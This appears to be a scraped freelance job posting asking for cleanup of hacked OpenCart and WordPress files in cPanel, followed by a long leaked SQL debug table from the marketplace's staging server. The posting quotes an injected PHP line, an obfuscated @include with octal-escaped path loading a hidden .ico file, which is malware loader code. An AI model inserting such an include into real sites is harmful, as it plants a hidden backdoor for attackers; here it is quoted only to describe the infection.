Clean all files that has been hacked in Cpanel-Filemanager (Opencart +Wordpress) for blog.
1) Public_html
2) Public_html/blog
All infected files must be completely clean as system auto-trigger remove my Cpanel account. FIles & Database must clean from infection.
Header Injection sample:
/*d26c9*/
@include "\057home\057vinb\141tter\171/pub\154ic_h\164ml/i\160ay88\137for_\157penc\141rt-2\0560.3.\061/.7d\0633035\066.ico";
/*d26c9*/
hello,
i can do. this job can you please more information inbox me, thanks
| Match | Count | SQL | Script |
| SELECT * FROM wanttobuy A, categories_wanttobuy B, seoclerks.members C WHERE A.wantid='68924' AND A.category=B.CATID AND A.USERID=C.USERID | 1 | SELECT A.*, B.name, B.seo, C.username, C.userlevel, C.footer_code, C.rating,
C.ratingcount, C.googleplus_profile, C.total_recommendations, C.USERID, C.profilepicture, C.average_response_time, C.lastlogin, C.addtime
FROM wanttobuy A, categories_wanttobuy B, seoclerks.members C
WHERE A.wantid='68924'
AND A.category=B.CATID AND A.USERID=C.USERID | /opt/clerks-staging/docroot/viewwant.php 163 () () |
| SELECT * FROM seoclerks.members_recommendations WHERE USERID=558968 AND status=1 ORDER BY MRID DESC limit 1 | 1 | SELECT recommendation_text, FROMID, time_added FROM seoclerks.members_recommendations
WHERE USERID=558968 AND status=1
ORDER BY MRID DESC limit 1 | /opt/clerks-staging/docroot/include/functions/main.php 21955 getLastRecommendation() () |
| SELECT * FROM seoclerks.members WHERE USERID='416922' | 1 | SELECT username FROM seoclerks.members WHERE USERID='416922' | /opt/clerks-staging/docroot/include/functions/main.php 1577 insert_get_username_from_userid() () |
| SELECT * FROM ratings_buyer WHERE USERID=558968 | 1 | SELECT sum(good) as thumbup, sum(bad) as thumbdown
FROM ratings_buyer WHERE USERID=558968 | /opt/clerks-staging/docroot/include/functions/main.php 19523 GetRatingsAsBuyerTotal() () |
| SELECT * FROM wanttobuy A, categories_wanttobuy B WHERE A.wantid != 68924 AND A.category=B.CATID AND A.active=1 AND (A.tags like '%php opencart wordpres hacked cpanel sql%' ) LIMIT 4 | 1 | SELECT A.wantid, A.title, A.p1, A.maxprice, B.name, B.seo
FROM wanttobuy A,
categories_wanttobuy B
WHERE A.wantid != 68924
AND A.category=B.CATID
AND A.active=1
AND (A.tags like '%php opencart wordpres hacked cpanel sql%' ) LIMIT 4 | /opt/clerks-staging/docroot/viewwant.php 551 () () |
| SELECT * FROM wanttobuy A, categories_wanttobuy B WHERE A.wantid != 68924 AND A.category=B.CATID AND A.active=1 AND A.USERID=558968 LIMIT 4 | 1 | SELECT A.wantid, A.title, A.p1, A.maxprice, B.name, B.seo
FROM wanttobuy A, categories_wanttobuy B
WHERE A.wantid != 68924
AND A.category=B.CATID
AND A.active=1
AND A.USERID=558968
LIMIT 4 | /opt/clerks-staging/docroot/viewwant.php 568 () () |
| SELECT * FROM wantcomments a, seoclerks.members b WHERE a.PID='68924' AND a.USERID=b.USERID and b.status='1' AND a.status=1 order by a.CID asc | 1 | SELECT a.comment, a.USERID, a.CID, a.time_added, a.istranslated, a.parentid, b.username, b.profilepicture
FROM wantcomments a, seoclerks.members b
WHERE a.PID='68924' AND a.USERID=b.USERID and b.status='1' AND a.status=1
order by a.CID asc | /opt/clerks-staging/docroot/viewwant.php 835 () () |
| UPDATE wanttobuy SET viewcount = viewcount + 1 WHERE wantid='68924' | 1 | UPDATE wanttobuy SET viewcount = viewcount + 1 WHERE wantid='68924' | /opt/clerks-staging/docroot/include/functions/main.php 1729 update_wantviewcount() () |
| SELECT * FROM wantbids as w, seoclerks.members AS m WHERE w.active=1 AND m.USERID=w.USERID AND m.status=1 AND w.USERID>0 AND w.wantid='68924' ORDER BY w.bidid ASC | 1 | SELECT w.bidid, w.PID, w.comment, w.title, w.pricepublic, w.USERID, w.adjustedprice, w.ip, m.profilepicture
FROM wantbids as w,
seoclerks.members AS m
WHERE w.active=1
AND m.USERID=w.USERID
AND m.status=1
AND w.USERID>0
AND w.wantid='68924'
ORDER BY w.bidid ASC
| /opt/clerks-staging/docroot/viewwant.php 1192 () () |
| SELECT * FROM seoclerks.members as m WHERE m.USERID=23131 | 1 | SELECT m.username, m.skills, m.userlevel, m.ip, m.total_recommendations
FROM seoclerks.members as m
WHERE m.USERID=23131 | /opt/clerks-staging/docroot/viewwant.php 1258 () () |
| SELECT * FROM categories_wanttobuy | 1 | SELECT * FROM categories_wanttobuy | /opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() parseRedundantQueriesCache() |
| SELECT * FROM posts WHERE USERID=558968 | 1 | SELECT sum(positive_ratings) as thumbup,
sum(negative_ratings) as thumbdown
FROM posts
WHERE USERID=558968 | /opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() GetBuyerRatingsTotal() |
| SELECT * FROM categories | 1 | SELECT * FROM categories | /opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() parseRedundantQueriesCache() |
| select * from categories_software order by name asc | 1 | select * from categories_software order by name asc | /opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() insert_GetSoftwareCategories() |
| select * from categories_wanttobuy order by name asc | 1 | select * from categories_wanttobuy order by name asc | /opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() insert_get_wantcategories() |
| select * from categories_wanttotrade order by name asc | 1 | select * from categories_wanttotrade order by name asc | /opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() insert_get_tradecategories() |
| SELECT * FROM seoclerks.members WHERE USERID='23131' | 1 | SELECT profilepicture FROM seoclerks.members WHERE USERID='23131' | /opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() getUserProfileImage() |
| SELECT * FROM seoclerks.members WHERE USERID='558968' | 1 | SELECT profile_data FROM seoclerks.members WHERE USERID='558968' | /opt/clerks-staging/docroot/include/functions/main.php 1927 getUserBackground() include() |
Explain: SELECT good, bad FROM seoclerks.ratings WHERE USERID='19740' AND PID != 0
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
|---|---|---|---|---|---|---|---|---|---|
| 1 | SIMPLE | ratings | ref | USERID,PID | USERID | 4 | const | 73636 | Using where |
